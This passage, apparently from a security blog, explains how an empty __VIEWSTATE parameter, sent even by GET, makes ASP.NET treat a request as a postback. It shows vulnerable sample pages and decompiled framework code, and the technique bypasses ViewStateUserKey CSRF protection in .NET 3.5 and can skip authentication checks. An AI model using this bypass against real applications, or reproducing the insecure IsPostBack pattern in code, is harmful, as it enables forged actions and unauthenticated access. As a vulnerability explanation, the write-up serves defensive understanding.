__VIEWSTATE=

Maybe even more interesting, a GET with an empty viewstate and validate() is called. So the postback doesn’t even need to be a POST!

GET /postback.aspx?__VIEWSTATE= HTTP/1.1
Host: localhost:31907

If a developer takes what MSDN says at face value – that the page is being loaded in response to a client postback – they may occasionally rely on this as a security measure without realizing it.

CSRF Vector

Let’s modify our earlier project a bit and compile it with .net 3.5

    public partial class postback : System.Web.UI.Page
    {
        protected override void OnInit(EventArgs e) 
        {
            base.OnInit(e);
            Page.ViewStateUserKey = Session.SessionID;
            
        }

        protected void Page_Load(object sender, EventArgs e)
        {
            if(!IsPostBack)
            {
                Response.Write("Error, this page is after a post");
            }
            else
            {
                Response.Write("Ok, you're cool");
                //process
            }
        }
    }

First, note There are a lot of things //process can do. Upload files, call an operation that deletes users, etc. The one caveat for our attack is that VIEWSTATE needs to be empty. There are a lot of times this is the case with builtin .net functions. Uploading files, SQL operations, file operations, etc all just don’t require VIEWSTATE to work.

Secondly, note that VIEWSTATEUSERKEY is set to the session ID. This is generally the recommended way to protect against CSRF in .net. It’s very common for developers to set this in a master page and not think about CSRF anymore – and I agree… that’s the way it should be in an ideal world. But unfortunately it’s not always the case. In the above project, if the request is sent with an empty VIEWSTATE then //process is hit.

The root cause of this can be found in the HiddenFieldPageStatePersister Load method. Opening this with reflector, you can see that if requestViewStateString is empty then the check is bypassed:

    public override void Load()
    {
        if (base.Page.RequestValueCollection != null)
        {
            string requestViewStateString = null;
            try
            {
                requestViewStateString = base.Page.RequestViewStateString;
                if (!string.IsNullOrEmpty(requestViewStateString))
                {
                    Pair pair = (Pair) Util.DeserializeWithAssert(base.StateFormatter, requestViewStateString);
                    base.ViewState = pair.First;
                    base.ControlState = pair.Second;
                }
            }
            catch (Exception exception)
            {
                if (exception.InnerException is ViewStateException)
                {
                    throw;
                }
                ViewStateException.ThrowViewStateError(exception, requestViewStateString);
            }
        }
    }

This is hardened in ASP.net 4.0, where the if statement adds a check to see if the ViewStateUserKey is null.

 if (!string.IsNullOrEmpty(requestViewStateString) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))

So in .net 4.0, this CSRF bypass shouldn’t work as long as viewstateuserkey is set.

Auth Bypass Vector

A less common vector is when developers don’t auth their pages properly. This can be very context specific, but I found this problem in an admin application, and it had some very interesting consequences. A dumbed down version of the code is the following, which could be bypassed with an empty viewstate. Again, if the actions require VIEWSTATE and event validation, the attacker is hosed. But if this is a common construct, you’re bound to find some operations that don’t

protected void Page_Load(object sender, EventArgs e)
{
    if(!IsPostBack)
    {
        //authenticate user, show options based on auth
    }
    else
    {
        //process, an attacker can hit this without auth
    }
}

The assumption here is the same as the CSRF vector, that the “the page is being loaded in response to a client postback”. That is what MSDN says, after all. The developers are just interpreting it a certain way :) I don’t think MSDN is in the wrong here. What I do find interesting is how a non-security feature can cause a decent number of issues just because of the assumptions that people make.

Follow

Get every new post delivered to your Inbox.

Join 33 other followers